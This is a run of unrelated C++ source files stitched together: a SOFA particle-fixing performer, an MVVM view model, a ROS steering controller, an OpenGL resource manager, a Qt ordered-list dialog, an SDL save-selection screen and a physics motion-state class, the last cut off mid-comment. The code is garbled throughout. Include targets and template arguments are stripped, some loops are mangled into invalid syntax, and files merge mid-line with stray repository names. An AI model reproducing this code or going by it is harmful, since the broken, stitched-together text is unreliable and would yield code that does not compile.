nodeFixation->addObject(fixFixation); //Add Interaction ForceField typename MouseForceField::SPtr distanceForceField = sofa::core::objectmodel::New< MouseForceField >(mstateFixation.get(), mstateCollision); const double friction=0.0; const double coeffStiffness=1/(double)points.size(); for (unsigned int i=0; iaddSpring(0,points[i], stiffness*coeffStiffness, friction, 0); nodeFixation->addObject(distanceForceField); nodeFixation->execute(sofa::core::ExecParams::defaultInstance()); } template void FixParticlePerformer::execute() { }; template void FixParticlePerformer::draw(const core::visual::VisualParams* /*vparams*/) { /// @todo fix draw // for (unsigned int i=0; idisplayFlags().getShowBehaviorModels(); // core::visual::DisplayFlags* flags = const_cast(&vparams->displayFlags()); // flags->setShowBehaviorModels(true); // simulation::getSimulation()->draw(const_cast(vparams),fixations[i]); // flags->setShowBehaviorModels(b); // } } template FixParticlePerformer::FixParticlePerformer(BaseMouseInteractor *i):TInteractionPerformer(i) { } template sofa::component::container::MechanicalObject< DataTypes >* FixParticlePerformer::getFixationPoints(const BodyPicked &b, helper::vector &points, typename DataTypes::Coord &fixPoint) { const int idx=b.indexCollisionElement; MouseContainer* collisionState=0; if (b.body) { collisionState = dynamic_cast(b.body->getContext()->getMechanicalState()); if (SphereModel *sphere = dynamic_cast(b.body)) { Sphere s(sphere, idx); fixPoint = s.p(); points.push_back(s.getIndex()); } else if(TriangleModel *triangle = dynamic_cast(b.body)) { Triangle t(triangle, idx); fixPoint = (t.p1()+t.p2()+t.p3())/3.0; points.push_back(t.p1Index()); points.push_back(t.p2Index()); points.push_back(t.p3Index()); } else if(CapsuleModel *capsule = dynamic_cast(b.body)){ fixPoint = (capsule->point1(idx) + capsule->point2(idx))/2.0; points.push_back(capsule->point1Index(idx)); points.push_back(capsule->point2Index(idx)); } else if(dynamic_cast(b.body)||dynamic_cast(b.body)){ collisionState = dynamic_cast(b.mstate); fixPoint = (collisionState->read(core::ConstVecCoordId::position())->getValue())[idx]; points.push_back(idx); } } else if (b.mstate) { collisionState = dynamic_cast(b.mstate); fixPoint = (collisionState->read(core::ConstVecCoordId::position())->getValue())[idx]; points.push_back(idx); } return collisionState; } } } } 1-10 // ************************************************************************** // // // Model-view-view-model framework for large GUI applications // //! @license GNU General Public License v3 or higher (see COPYING) //! @authors see AUTHORS // // ************************************************************************** // #include "mvvm/viewmodel/defaultviewmodel.h" #include "mvvm/viewmodel/standardviewmodelcontrollers.h" using namespace ModelView; DefaultViewModel::DefaultViewModel(SessionModel* model, QObject* parent) : ViewModel(std::make_unique(model, this), parent) { } src/A1339_controll.cpp0 #include A1339Ctl::A1339Ctl() { if (!ros::isInitialized()) { int argc = 0; char **argv = NULL; ros::init(argc, argv, "AngleStatus"); } nh = ros::NodeHandlePtr(new ros::NodeHandle); stearingSub = nh->subscribe("/roboy/middleware/StearingAngle", 1, &A1339Ctl::GetStearingData, this); } /* -----msg MotorAngle------ uint8 id float32[] angles int32[] raw_angles int32[] raw_angles_prev int32[] offset_angles int32[] relative_angles int32[] rev_counter */ void A1339Ctl::GetStearingData(const roboy_middleware_msgs::MotorAngle::ConstPtr &msg){ ROS_INFO("Ros Info: %d", msg); StearingData.clear(); for (uint cnt = 0; cnt < msg->raw_angles.size(); cnt++) { StearingData.push_back(msg->raw_angles[cnt]); } } #include "resource_manager.h" #include #include #include #define STB_IMAGE_IMPLEMENTATION #include "stb_image.h" #include "model.h" #include "log.h" namespace sge { std::map ResourceManager::shaders; std::map ResourceManager::textures; std::map ResourceManager::models; std::map ResourceManager::cubemaps; std::set ResourceManager::user_shaders; unsigned char* ResourceManager::default_texture; void ResourceManager::loadResources(const ResourcesData& config) { Log::info("loading and compiling shaders:\n"); auto shaders_data = config.shaders; for (auto& data : shaders_data) { loadShader(data); } Log::info("loading models with textures:\n"); auto models_data = config.models; for (auto& data : models_data) { loadModel(data.path, data.name); } Log::info("loading cubemaps:\n"); auto cubemaps = config.cubemaps; for (auto& data : cubemaps) { loadCubemap(data.face_textures, data.name); } } Shader ResourceManager::loadShader(const ShaderData& data) { Shader shader; shader.data = data; Log::info("%s\n", shader.data.name.c_str()); shader.compile(loadShaderSource(shader.data.path_to_vertex), loadShaderSource(shader.data.path_to_fragment)); shaders[shader.data.name] = shader; if (!shader.data.hide_in_editor) { user_shaders.emplace(shader.data.name); } return shaders[shader.data.name]; } Texture ResourceManager::loadTexture(const std::string& file_name, const std::string& name, const std::string& type, bool alpha) { if (textures.count(name) == 1) { return getTexture(name); } Texture texture; texture.type = type; // stbi_set_flip_vertically_on_load(true); int width = 0; int height = 0; int channels = 0; const char* path = file_name.c_str(); unsigned char* data = stbi_load(path, &width, &height, &channels, 0); texture.setFormat(channels, sizeof(stbi_uc)); printTextureSize(file_name, width, height, channels); if (data == nullptr) { texture.generate(getDefaultEmptyTexture(), width, height); } else { texture.generate(data, width, height); stbi_image_free(data); } textures[name] = texture; return textures[name]; } Model ResourceManager::loadModel(const std::string& file_name, const std::string& name) { if (models.count(name) == 1) { return getModel(name); } Model model; model.load(file_name); models[name] = model; return models[name]; } Model ResourceManager::getModel(const std::string& name) { return models[name]; } Shader ResourceManager::getShader(const std::string& name) { return shaders[name]; } Texture ResourceManager::getTexture(const std::string& name) { return textures[name]; } void ResourceManager::clear() { for (auto shader : shaders) { glDeleteProgram(shader.second.getId()); } shaders.clear(); user_shaders.clear(); for (auto texture : textures) { glDeleteTextures(1, &texture.second.id); } textures.clear(); for (auto model : models) { model.second.clear(); } models.clear(); for (auto cubemap : cubemaps) { glDeleteTextures(1, &cubemap.second.id); } cubemaps.clear(); if (default_texture != nullptr) { delete[] default_texture; default_texture = nullptr; } } std::string ResourceManager::loadShaderSource(const std::string& file_name) { std::string file_source; try { std::ifstream file_stream(file_name); std::stringstream stream; stream << file_stream.rdbuf(); file_stream.close(); file_source = stream.str(); } catch (const std::exception& e) { std::cout << e.what() << '\n'; } return file_source; } Cubemap ResourceManager::loadCubemap(const std::vector& faces, const std::string& name) { if (cubemaps.count(name) == 1) { return getCubemap(name); } Cubemap cubemap; std::vector faces_data; std::vector sizes; for (uint32_t i = 0; i < faces.size(); ++i) { int width = 0; int height = 0; int channels = 0; const char* path = faces[i].c_str(); faces_data.push_back(stbi_load(path, &width, &height, &channels, 3)); printTextureSize(path, width, height, channels); if (faces_data[i] == nullptr) { faces_data[i] = getDefaultEmptyTexture(); sizes.push_back(glm::ivec2(4, 4)); } else { sizes.push_back(glm::ivec2(width, height)); } } cubemap.generate(faces_data, sizes); for (uint32_t i = 0; i < faces_data.size(); ++i) { stbi_image_free(faces_data[i]); } cubemaps[name] = cubemap; faces_data.clear(); return cubemaps[name]; } Cubemap ResourceManager::getCubemap(const std::string& name) { return cubemaps[name]; } std::set& ResourceManager::getUserShaderNames() { return user_shaders; } void ResourceManager::printTextureSize(const std::string& name, uint32_t width, uint32_t height, uint32_t channels) { Log::info("Texture %s loaded with size: %d mb\n", name.c_str(), width * height * channels * sizeof(stbi_uc) / 1024 / 1024); } unsigned char* ResourceManager::getDefaultEmptyTexture() { if (default_texture == nullptr) { uint32_t width = 4; uint32_t height = 4; default_texture = new unsigned char[64]; for (int i = 0; i < 64; ++i) { default_texture[i] = 255; } } return default_texture; } }// C++. #include // Qt. #include // Infra. #include "QtCommon/Scaling/ScalingManager.h" // Local. #include "radeon_gpu_analyzer_gui/qt/rg_ordered_list_dialog.h" #include "radeon_gpu_analyzer_gui/rg_definitions.h" #include "radeon_gpu_analyzer_gui/rg_string_constants.h" #include "radeon_gpu_analyzer_gui/rg_utils.h" RgOrderedListDialog::RgOrderedListDialog(const char* delimiter, QWidget* parent) : QDialog(parent), delimiter_(delimiter) { const int kWidgetFixedWidth = 600; const int kWidgetFixedHeight = 150; // Verify that the given delimiter is valid. assert(delimiter_ != nullptr); // Setup the UI. ui_.setupUi(this); // Set the background to white. QPalette pal = palette(); pal.setColor(QPalette::Background, Qt::white); this->setAutoFillBackground(true); this->setPalette(pal); // Set the window icon. setWindowIcon(QIcon(":/icons/rgaIcon.png")); // Set the size of the window. QSize size; size.setWidth(kWidgetFixedWidth * ScalingManager::Get().GetScaleFactor()); size.setHeight(kWidgetFixedHeight * ScalingManager::Get().GetScaleFactor()); setMinimumSize(size); // Disable the help button in the title bar. setWindowFlags(windowFlags() & ~Qt::WindowContextHelpButtonHint); // Connect the signals. ConnectSignals(); // Set the mouse cursor to the pointing hand cursor for various widgets. SetCursor(); // Set the button fonts. SetButtonFonts(); // Set push button shortcuts. SetButtonShortcuts(); // Start off with various buttons disabled. ui_.moveUpPushButton->setEnabled(false); ui_.moveDownPushButton->setEnabled(false); ui_.editPushButton->setEnabled(false); } void RgOrderedListDialog::SetListItems(const QString& entries) { // Clear any existing data. items_list_.clear(); ui_.itemsList->clear(); if (!entries.isEmpty()) { // Process the incoming text. QStringList entry_list = entries.split(delimiter_); // Remove trailing and leading whitespace, and then only add non-empty strings. // This could happen if the user manually typed invalid entries. for (int i = 0; i < entry_list.count(); ++i) { QString item = entry_list[i].trimmed(); if (item != "") { items_list_.append(item); } } // Update the list widget. UpdateListWidget(); } // Insert an empty item to the list widget and select it. InsertBlankItem(); } void RgOrderedListDialog::ConnectSignals() { // Cancel button. bool is_connected = connect(ui_.cancelPushButton, &QPushButton::clicked, this, &RgOrderedListDialog::HandleExit); assert(is_connected); // Add new entry button. is_connected = connect(this->ui_.newPushButton, &QPushButton::clicked, this, &RgOrderedListDialog::HandleNewButtonClick); assert(is_connected); // Edit button. is_connected = connect(this->ui_.editPushButton, &QPushButton::clicked, this, &RgOrderedListDialog::HandleEditButtonClick); assert(is_connected); // "OK" button. is_connected = connect(this->ui_.okPushButton, &QPushButton::clicked, this, &RgOrderedListDialog::HandleOKButtonClick); assert(is_connected); // "Move up" button. is_connected = connect(this->ui_.moveUpPushButton, &QPushButton::clicked, this, &RgOrderedListDialog::HandleMoveUpButtonClick); assert(is_connected); // "Move down" button. is_connected = connect(this->ui_.moveDownPushButton, &QPushButton::clicked, this, &RgOrderedListDialog::HandleMoveDownButtonClick); assert(is_connected); // "Delete" button. is_connected = connect(this->ui_.deletePushButton, &QPushButton::clicked, this, &RgOrderedListDialog::HandleDeleteButtonClick); assert(is_connected); // Items tree widget. is_connected = connect(ui_.itemsList, &QListWidget::itemChanged, this, &RgOrderedListDialog::HandleListItemChanged); assert(is_connected); is_connected = connect(ui_.itemsList, &QListWidget::itemSelectionChanged, this, &RgOrderedListDialog::HandleListItemSelectionChanged); assert(is_connected); } void RgOrderedListDialog::SetCursor() { // Set the cursor to pointing hand cursor. ui_.cancelPushButton->setCursor(Qt::PointingHandCursor); ui_.deletePushButton->setCursor(Qt::PointingHandCursor); ui_.moveDownPushButton->setCursor(Qt::PointingHandCursor); ui_.moveUpPushButton->setCursor(Qt::PointingHandCursor); ui_.newPushButton->setCursor(Qt::PointingHandCursor); ui_.okPushButton->setCursor(Qt::PointingHandCursor); } void RgOrderedListDialog::SetButtonFonts() { // Create font. QFont font = ui_.deletePushButton->font(); font.setPointSize(kButtonPointFontSize); // Update font size for all the buttons. ui_.cancelPushButton->setFont(font); ui_.deletePushButton->setFont(font); ui_.moveDownPushButton->setFont(font); ui_.moveUpPushButton->setFont(font); ui_.newPushButton->setFont(font); ui_.okPushButton->setFont(font); } void RgOrderedListDialog::HandleExit(bool /* checked */) { // Clear any existing data. items_list_.clear(); ui_.itemsList->clear(); close(); } void RgOrderedListDialog::HandleOKButtonClick(bool /* checked */) { // Remove any empty entries. items_list_.removeAll(""); // Emit a signal to indicate "OK" button clicked so the data can be saved. emit OKButtonClicked(items_list_); // Close the dialog. close(); } void RgOrderedListDialog::UpdateListWidget() { // Clear any existing data. ui_.itemsList->clear(); int counter = 0; // Update the list widget. foreach(auto entry, items_list_) { QListWidgetItem* item = new QListWidgetItem; item->setText(entry); item->setFlags(item->flags() | Qt::ItemIsEditable); ui_.itemsList->insertItem(counter, item); counter++; } } void RgOrderedListDialog::HandleMoveDownButtonClick(bool /* checked */) { // Get the current index. int current_index = ui_.itemsList->currentRow(); // Do not do anything if this is the last item. if (current_index < ui_.itemsList->count() - 1) { // If the next item is empty, do not do anything. QString next_item = ui_.itemsList->item(current_index + 1)->text(); if (!next_item.isEmpty()) { QListWidgetItem* current_item = ui_.itemsList->takeItem(current_index); if (current_item != nullptr) { ui_.itemsList->insertItem(current_index + 1, current_item); ui_.itemsList->setCurrentRow(current_index + 1); // Update local data with this change. items_list_.swap(current_index, current_index + 1); } } } // Update buttons. UpdateButtons(); } void RgOrderedListDialog::HandleMoveUpButtonClick(bool /* checked */) { // Get the current index. int current_index = ui_.itemsList->currentRow(); // Make sure the index is not out of bounds. if (current_index < ui_.itemsList->count()) { // Do not do anything if this is the first item, or the text field is empty. if (current_index > 0 && !ui_.itemsList->item(current_index)->text().isEmpty()) { QListWidgetItem* current_item = ui_.itemsList->takeItem(current_index); if (current_item != nullptr) { ui_.itemsList->insertItem(current_index - 1, current_item); ui_.itemsList->setCurrentRow(current_index - 1); // Update local data with this change. items_list_.swap(current_index - 1, current_index); } } } // Update buttons. UpdateButtons(); } void RgOrderedListDialog::HandleDeleteButtonClick(bool /* checked */) { // Display a confirmation message box. bool is_confirmation = RgUtils::ShowConfirmationMessageBox(kStrIncludeDirDialogDeleteBoxTitle, kStrIncludeDirDialogDeleteBoxMessage, this); if (is_confirmation) { // Remove the selected item from the list widget. int current_index = ui_.itemsList->currentRow(); QListWidgetItem* current_item = ui_.itemsList->takeItem(current_index); // Remove the selected item from the string list. if (current_item != nullptr) { items_list_.removeAt(current_index); // Update buttons. UpdateButtons(); } // If this was the last item in the list widget, // add a blank place holder. if (ui_.itemsList->count() == 0) { // Insert an empty item to the list widget and highlight it. InsertBlankItem(); } } } void RgOrderedListDialog::SetButtonShortcuts() { // Add button keyboard shortcut. add_action_ = new QAction(this); add_action_->setShortcut(QKeySequence(Qt::Key_Alt | Qt::Key_N)); bool is_connected = connect(add_action_, &QAction::triggered, this, &RgOrderedListDialog::HandleNewButtonClick); assert(is_connected); // Delete button keyboard shortcut. delete_action_ = new QAction(this); delete_action_->setShortcut(QKeySequence(Qt::Key_Alt | Qt::Key_D)); is_connected = connect(delete_action_, &QAction::triggered, this, &RgOrderedListDialog::HandleDeleteButtonClick); assert(is_connected); // "Move up" button shortcut. move_up_action_ = new QAction(this); move_up_action_->setShortcut(QKeySequence(Qt::Key_Alt | Qt::Key_U)); is_connected = connect(move_up_action_, &QAction::triggered, this, &RgOrderedListDialog::HandleMoveUpButtonClick); assert(is_connected); // "Move down" button shortcut. move_down_action_ = new QAction(this); move_down_action_->setShortcut(QKeySequence(Qt::Key_Alt | Qt::Key_O)); is_connected = connect(move_down_action_, &QAction::triggered, this, &RgOrderedListDialog::HandleMoveDownButtonClick); assert(is_connected); } void RgOrderedListDialog::HandleListItemChanged(QListWidgetItem* item) { OnListItemChanged(item); } void RgOrderedListDialog::HandleNewButtonClick(bool /* checked */) { // Get the last item in the list widget. QListWidgetItem* item = nullptr; if (ui_.itemsList->count() > 0) { item = ui_.itemsList->item(ui_.itemsList->count() - 1); } if (item != nullptr && item->text().isEmpty()) { QListWidgetItem* item = ui_.itemsList->item(ui_.itemsList->count() - 1); ui_.itemsList->setCurrentItem(item); ui_.itemsList->editItem(item); } else { QListWidgetItem* item = new QListWidgetItem; item->setText(""); item->setFlags(item->flags() | Qt::ItemIsEditable); ui_.itemsList->setCurrentItem(item); ui_.itemsList->insertItem(ui_.itemsList->count(), item); ui_.itemsList->editItem(item); } // Update buttons. UpdateButtons(); } void RgOrderedListDialog::HandleEditButtonClick(bool /* checked */) { // Get the current row. const int row = ui_.itemsList->currentRow(); // Make the current row editable. QListWidgetItem* item = ui_.itemsList->item(row); ui_.itemsList->editItem(item); } void RgOrderedListDialog::UpdateButtons() { // Enable/disable move up/down buttons. if (ShouldDisableMoveUpDownButtons()) { ui_.moveUpPushButton->setEnabled(false); ui_.moveDownPushButton->setEnabled(false); } else { // Get the current row. const int current_row = ui_.itemsList->currentRow(); // Set both up/down buttons to disabled for now. ui_.moveUpPushButton->setEnabled(false); ui_.moveDownPushButton->setEnabled(false); // Figure out which up/down buttons to enable. if (current_row > 0) { ui_.moveUpPushButton->setEnabled(true); } if (current_row >= 0 && current_row < items_list_.count() - 1) { ui_.moveDownPushButton->setEnabled(true); } } // Enable/Disable the Edit and Delete buttons. if (ui_.itemsList->count() == 0) { ui_.editPushButton->setEnabled(false); ui_.deletePushButton->setEnabled(false); } else { ui_.editPushButton->setEnabled(true); ui_.deletePushButton->setEnabled(true); } } bool RgOrderedListDialog::ShouldDisableMoveUpDownButtons() { bool should_disable_buttons = false; if (ui_.itemsList->count() < 2) { should_disable_buttons = true; } else if (ui_.itemsList->count() == 2) { if (ui_.itemsList->item(1)->text().isEmpty()) { should_disable_buttons = true; } } else if (ui_.itemsList->currentRow() >= 0 && ui_.itemsList->item(ui_.itemsList->currentRow())->text().isEmpty()) { should_disable_buttons = true; } return should_disable_buttons; } void RgOrderedListDialog::UpdateToolTips() { for (int i = 0; i < ui_.itemsList->count(); i++) { QListWidgetItem* item = ui_.itemsList->item(i); if (item != nullptr) { item->setToolTip(item->text()); } } } void RgOrderedListDialog::InsertBlankItem() { // Create a blank item and insert it in the list widget. QListWidgetItem* item = new QListWidgetItem(); item->setFlags(item->flags() | Qt::ItemIsEditable); ui_.itemsList->addItem(item); ui_.itemsList->setCurrentItem(item); ui_.itemsList->setFocus(); } void RgOrderedListDialog::HandleListItemSelectionChanged() { UpdateButtons(); } litvaluk/pa2-semestral-work #include "SDL2/SDL.h" #include "SDL2/SDL_ttf.h" #include "gameengine.h" #include "gamestate.h" #include "menustate.h" #include "text.h" #include "block.h" #include "saveselectionstate.h" #include "playstate.h" #include "creationstate.h" #include #include #include #include #define SCREEN_WIDTH 1280 #define SCREEN_HEIGHT 720 #define BLOCK_WIDTH_OFFSET 20 #define BLOCK_HEIGHT_OFFSET 2 extern TTF_Font* coolvetica40; extern TTF_Font* coolvetica35; SaveSelectionState::SaveSelectionState (GameEngine* game) : GameState(game), selectsave(Text(0, 35, "Select save", {255, 255, 255, 0}, coolvetica40, game->renderer)), save1(Text(0, 250, "(empty)", {255, 255, 255, 0}, coolvetica35, game->renderer)), save2(Text(0, 320, "(empty)", {255, 255, 255, 0}, coolvetica35, game->renderer)), save3(Text(0, 390, "(empty)", {255, 255, 255, 0}, coolvetica35, game->renderer)), save4(Text(0, 460, "(empty)", {255, 255, 255, 0}, coolvetica35, game->renderer)), save5(Text(0, 530, "(empty)", {255, 255, 255, 0}, coolvetica35, game->renderer)), left(Block(10, 10, 20, 20, 255, 0, 0)), right(Block(10, 10, 20, 20, 255, 0, 0)) { save1loaded = save2loaded = save3loaded = save4loaded = save5loaded = false; UpdateSaveNames(); selectsave.SetX(SCREEN_WIDTH/2 - selectsave.GetW()/2); save1.SetX(SCREEN_WIDTH/2 - save1.GetW()/2); save2.SetX(SCREEN_WIDTH/2 - save2.GetW()/2); save3.SetX(SCREEN_WIDTH/2 - save3.GetW()/2); save4.SetX(SCREEN_WIDTH/2 - save4.GetW()/2); save5.SetX(SCREEN_WIDTH/2 - save5.GetW()/2); selected = 0; left.SetX(save1.GetX() - BLOCK_WIDTH_OFFSET - left.GetW()); left.SetY(save1.GetY() + save1.GetH()/2 - left.GetH()/2 + BLOCK_HEIGHT_OFFSET); right.SetX(save1.GetX() + save1.GetW() + BLOCK_WIDTH_OFFSET); right.SetY(save1.GetY() + save1.GetH()/2 - right.GetH()/2 + BLOCK_HEIGHT_OFFSET); } void SaveSelectionState::HandleEvents (GameEngine* game) { SDL_Event event; while (SDL_PollEvent(&event)) { HandleSelection(event); HandleEnter(event, game); HandleDelete(event); switch (event.type) { case SDL_QUIT: game->Quit(); break; case SDL_KEYDOWN: switch (event.key.keysym.sym) { case SDLK_ESCAPE: game->SetState(new MenuState(game)); break; } break; } } } void SaveSelectionState::Update (GameEngine* game) { UpdateBlockPositions(); } void SaveSelectionState::Draw (GameEngine* game) { SDL_SetRenderDrawColor(game->renderer, 0, 0, 0, SDL_ALPHA_OPAQUE); SDL_RenderClear(game->renderer); selectsave.Draw(game->renderer); save1.Draw(game->renderer); save2.Draw(game->renderer); save3.Draw(game->renderer); save4.Draw(game->renderer); save5.Draw(game->renderer); left.Draw(game->renderer); right.Draw(game->renderer); SDL_RenderPresent(game->renderer); } void SaveSelectionState::HandleSelection (const SDL_Event& event) { switch (event.type) { case SDL_KEYDOWN: switch (event.key.keysym.sym) { case SDLK_UP: if (selected == 0) { selected = 4; } else { selected--; } break; case SDLK_DOWN: if (selected == 4) { selected = 0; } else { selected++; } break; } break; } } void SaveSelectionState::UpdateBlockPositions () { switch (selected) { case 0: left.SetX(save1.GetX() - BLOCK_WIDTH_OFFSET - left.GetW()); left.SetY(save1.GetY() + save1.GetH()/2 - left.GetH()/2 + BLOCK_HEIGHT_OFFSET); right.SetX(save1.GetX() + save1.GetW() + BLOCK_WIDTH_OFFSET); right.SetY(save1.GetY() + save1.GetH()/2 - right.GetH()/2 + BLOCK_HEIGHT_OFFSET); break; case 1: left.SetX(save2.GetX() - BLOCK_WIDTH_OFFSET - left.GetW()); left.SetY(save2.GetY() + save2.GetH()/2 - left.GetH()/2 + BLOCK_HEIGHT_OFFSET); right.SetX(save2.GetX() + save2.GetW() + BLOCK_WIDTH_OFFSET); right.SetY(save2.GetY() + save2.GetH()/2 - right.GetH()/2 + BLOCK_HEIGHT_OFFSET); break; case 2: left.SetX(save3.GetX() - BLOCK_WIDTH_OFFSET - left.GetW()); left.SetY(save3.GetY() + save3.GetH()/2 - left.GetH()/2 + BLOCK_HEIGHT_OFFSET); right.SetX(save3.GetX() + save3.GetW() + BLOCK_WIDTH_OFFSET); right.SetY(save3.GetY() + save3.GetH()/2 - right.GetH()/2 + BLOCK_HEIGHT_OFFSET); break; case 3: left.SetX(save4.GetX() - BLOCK_WIDTH_OFFSET - left.GetW()); left.SetY(save4.GetY() + save4.GetH()/2 - left.GetH()/2 + BLOCK_HEIGHT_OFFSET); right.SetX(save4.GetX() + save4.GetW() + BLOCK_WIDTH_OFFSET); right.SetY(save4.GetY() + save4.GetH()/2 - right.GetH()/2 + BLOCK_HEIGHT_OFFSET); break; case 4: left.SetX(save5.GetX() - BLOCK_WIDTH_OFFSET - left.GetW()); left.SetY(save5.GetY() + save5.GetH()/2 - left.GetH()/2 + BLOCK_HEIGHT_OFFSET); right.SetX(save5.GetX() + save5.GetW() + BLOCK_WIDTH_OFFSET); right.SetY(save5.GetY() + save5.GetH()/2 - right.GetH()/2 + BLOCK_HEIGHT_OFFSET); break; } } void SaveSelectionState::UpdateSaveNames () { std::ifstream ifs1 ("data/saves/save1.txt", std::ios_base::in); std::ifstream ifs2 ("data/saves/save2.txt", std::ios_base::in); std::ifstream ifs3 ("data/saves/save3.txt", std::ios_base::in); std::ifstream ifs4 ("data/saves/save4.txt", std::ios_base::in); std::ifstream ifs5 ("data/saves/save5.txt", std::ios_base::in); std::string line; std::string line2; if (ifs1.is_open()) { getline(ifs1, line); save1.UpdateText(line); save1loaded = true; } if (ifs2.is_open()) { getline(ifs2, line); save2.UpdateText(line); save2loaded = true; } if (ifs3.is_open()) { getline(ifs3, line); save3.UpdateText(line); save3loaded = true; } if (ifs4.is_open()) { getline(ifs4, line); save4.UpdateText(line); save4loaded = true; } if (ifs5.is_open()) { getline(ifs5, line); save5.UpdateText(line); save5loaded = true; } } void SaveSelectionState::HandleEnter (const SDL_Event& event, GameEngine* game) { switch (event.type) { case SDL_KEYDOWN: switch (event.key.keysym.sym) { case SDLK_RETURN: switch (selected) { case 0: if (!save1loaded) { game->SetState(new CreationState(game, selected)); } else { LoadSaveVars("data/saves/save1.txt"); game->SetState(new PlayState(game, selected, room, lvl, str, def, vit, unspentPoints, hp, xp, r, g, b, items)); } break; case 1: if (!save2loaded) { game->SetState(new CreationState(game, selected)); } else { LoadSaveVars("data/saves/save2.txt"); game->SetState(new PlayState(game, selected, room, lvl, str, def, vit, unspentPoints, hp, xp, r, g, b, items)); } break; case 2: if (!save3loaded) { game->SetState(new CreationState(game, selected)); } else { LoadSaveVars("data/saves/save3.txt"); game->SetState(new PlayState(game, selected, room, lvl, str, def, vit, unspentPoints, hp, xp, r, g, b, items)); } break; case 3: if (!save4loaded) { game->SetState(new CreationState(game, selected)); } else { LoadSaveVars("data/saves/save4.txt"); game->SetState(new PlayState(game, selected, room, lvl, str, def, vit, unspentPoints, hp, xp, r, g, b, items)); } break; case 4: if (!save5loaded) { game->SetState(new CreationState(game, selected)); } else { LoadSaveVars("data/saves/save5.txt"); game->SetState(new PlayState(game, selected, room, lvl, str, def, vit, unspentPoints, hp, xp, r, g, b, items)); } break; } break; } break; } } void SaveSelectionState::LoadSaveVars (std::string path) { items.clear(); std::ifstream ifs(path, std::ios_base::in); getline (ifs, room); getline (ifs, room); ifs >> lvl >> str >> def >> vit >> unspentPoints >> hp >> xp >> r >> g >> b; getline (ifs, tmp); for (int i = 0; i < 7; i++) { getline (ifs, tmp); items.push_back(tmp); } } void SaveSelectionState::HandleDelete (const SDL_Event& event) { switch (event.type) { case SDL_KEYDOWN: if (event.key.keysym.sym == SDLK_BACKSPACE || event.key.keysym.sym == SDLK_DELETE) { switch (selected) { case 0: if (save1loaded) { remove("data/saves/save1.txt"); save1.UpdateText("(empty)"); save1.SetX(SCREEN_WIDTH/2 - save1.GetW()/2); save1loaded = false; } break; case 1: if (save2loaded) { remove("data/saves/save2.txt"); save2.UpdateText("(empty)"); save2.SetX(SCREEN_WIDTH/2 - save2.GetW()/2); save2loaded = false; } break; case 2: if (save3loaded) { remove("data/saves/save3.txt"); save3.UpdateText("(empty)"); save3.SetX(SCREEN_WIDTH/2 - save3.GetW()/2); save3loaded = false; } break; case 3: if (save4loaded) { remove("data/saves/save4.txt"); save4.UpdateText("(empty)"); save4.SetX(SCREEN_WIDTH/2 - save4.GetW()/2); save4loaded = false; } break; case 4: if (save5loaded) { remove("data/saves/save5.txt"); save5.UpdateText("(empty)"); save5.SetX(SCREEN_WIDTH/2 - save5.GetW()/2); save5loaded = false; } break; } } break; } }libraries/physics/src/ObjectMotionState.cpp // // ObjectMotionState.cpp // libraries/physcis/src // // Created by 2014.11.05 // Copyright 2014 High Fidelity, Inc. // // Distributed under the Apache License, Version 2.0. // See the accompanying file LICENSE or http://www.apache.org/licenses/LICENSE-2.0.html // #include #include "BulletUtil.h" #include "ObjectMotionState.h" #include "PhysicsEngine.h" const float DEFAULT_FRICTION = 0.5f; const float MAX_FRICTION = 10.0f; const float DEFAULT_RESTITUTION = 0.5f; // origin of physics simulation in world frame glm::vec3 _worldOffset(0.0f); // static void ObjectMotionState::setWorldOffset(const glm::vec3& offset) { _worldOffset = offset; } // static const glm::vec3& ObjectMotionState::getWorldOffset() { return _worldOffset; } ObjectMotionState::ObjectMotionState() : _friction(DEFAULT_FRICTION), _restitution(DEFAULT_RESTITUTION), _linearDamping(0.0f), _angularDamping(0.0f), _motionType(MOTION_TYPE_STATIC), _body(NULL), _sentMoving(false), _numNonMovingUpdates(0), _outgoingPacketFlags(DIRTY_PHYSICS_FLAGS), _sentFrame(0), _sentPosition(0.0f), _sentRotation(), _sentVelocity(0.0f), _sentAngularVelocity(0.0f), _sentAcceleration(0.0f) { } ObjectMotionState::~ObjectMotionState() { // NOTE: you MUST remove this MotionState from the world before you call the dtor. assert(_body == NULL); } void ObjectMotionState::setFriction(float friction) { _friction = btMax(btMin(fabsf(friction), MAX_FRICTION), 0.0f); } void ObjectMotionState::setRestitution(float restitution) { _restitution = btMax(btMin(fabsf(restitution), 1.0f), 0.0f); } void ObjectMotionState::setLinearDamping(float damping) { _linearDamping = btMax(btMin(fabsf(damping), 1.0f), 0.0f); } void ObjectMotionState::setAngularDamping(float damping) { _angularDamping = btMax(btMin(fabsf(damping), 1.0f), 0.0f); } void ObjectMotionState::setVelocity(const glm::vec3& velocity) const { _body->setLinearVelocity(glmToBullet(velocity)); } void ObjectMotionState::setAngularVelocity(const glm::vec3& velocity) const { _body->setAngularVelocity(glmToBullet(velocity)); } void ObjectMotionState::setGravity(const glm::vec3& gravity) const { _body->setGravity(glmToBullet(gravity)); } void ObjectMotionState::getVelocity(glm::vec3& velocityOut) const { velocityOut = bulletToGLM(_body->getLinearVelocity()); } void ObjectMotionState::getAngularVelocity(glm::vec3& angularVelocityOut) const { angularVelocityOut = bulletToGLM(_body->getAngularVelocity()); } // RELIABLE_SEND_HACK: until we have truly reliable resends of non-moving updates // we alwasy resend packets for objects that have stopped moving up to some max limit. const int MAX_NUM_NON_MOVING_UPDATES = 5; bool ObjectMotionState::doesNotNeedToSendUpdate() const { return !_body->isActive() && _numNonMovingUpdates > MAX_NUM_NON_MOVING_UPDATES; } bool ObjectMotionState::shouldSendUpdate(uint32_t simulationFrame) { assert(_body); // if we've never checked before, our _sentFrame will be 0, and we need to initialize our state if (_sentFrame == 0) { _sentPosition = bulletToGLM(_body->getWorldTransform().getOrigin()); _sentVelocity = bulletToGLM(_body->getLinearVelocity()); _sentAngularVelocity = bulletToGLM(_body->getAngularVelocity()); _sentFrame = simulationFrame; return false; } float dt = (float)(simulationFrame - _sentFrame) * PHYSICS_ENGINE_FIXED_SUBSTEP; _sentFrame = simulationFrame; bool isActive = _body->isActive(); if (!isActive) { if (_sentMoving) { // this object just went inactive so send an update immediately return true; } else { const float NON_MOVING_UPDATE_PERIOD = 1.0f; if (dt > NON_MOVING_UPDATE_PERIOD && _numNonMovingUpdates < MAX_NUM_NON_MOVING_UPDATES) { // RELIABLE_SEND_HACK: since we're not yet using a reliable method for non-moving update packets we repeat these // at a faster rate than the MAX period above, and only send a limited number of them. return true; } } } // Else we measure the error between current and extrapolated transform (according to expected behavior // of remote EntitySimulation) and return true if the error is 